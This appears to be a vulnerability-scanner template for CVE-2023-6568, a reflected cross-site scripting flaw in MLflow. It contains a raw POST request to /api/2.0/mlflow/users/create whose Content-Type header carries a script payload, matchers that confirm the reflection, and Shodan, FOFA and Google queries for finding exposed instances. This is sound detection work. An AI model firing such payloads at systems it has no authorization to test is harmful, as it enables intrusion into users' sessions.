2024-09-20 15:06:18 +00:00
|
|
|
id: CVE-2023-6568
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Mlflow - Cross-Site Scripting
|
|
|
|
author: ritikchaddha
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
The vulnerability allows an attacker to inject malicious code into the Content-Type header of a POST request,
|
|
|
|
which is then reflected back to the user without proper sanitization or escaping.
|
|
|
|
impact: |
|
|
|
|
Allows attackers to execute malicious scripts in the context of a user's session
|
|
|
|
remediation: |
|
|
|
|
Sanitize and validate user input to prevent XSS attacks
|
|
|
|
reference:
|
|
|
|
- https://huntr.com/bounties/816bdaaa-8153-4732-951e-b0d92fddf709
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-6568
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2023-6568
|
|
|
|
cwe-id: CWE-79
|
|
|
|
epss-score: 0.00046
|
|
|
|
epss-percentile: 0.15636
|
|
|
|
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
|
|
|
max-request: 1
|
|
|
|
vendor: lfprojects
|
|
|
|
product: mlflow
|
|
|
|
shodan-query: http.title:"mlflow"
|
|
|
|
fofa-query: app="MLflow"
|
|
|
|
google-query: intitle:"mlflow"
|
|
|
|
tags: cve,cve2023,mlflow,xss
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /api/2.0/mlflow/users/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: <script>alert(document.domain)</script>
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "<script>alert(document.domain)</script>"
|
|
|
|
- "Invalid content type:"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: content_type
|
|
|
|
words:
|
|
|
|
- 'text/html'
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 400
|
2024-09-21 14:30:37 +00:00
|
|
|
|
|
|
|
# digest: 4a0a0047304502201ab1b538330ae4f07f2668dbeb5c65a1d8e14164d30de775c2e1f1d4c3db2853022100b75ab506ec5a27ea59a5df71a2bb5e2de92847e0c8f7f19a30b1628410cffafd:922c64590222798bb761d5b6d8e72950
|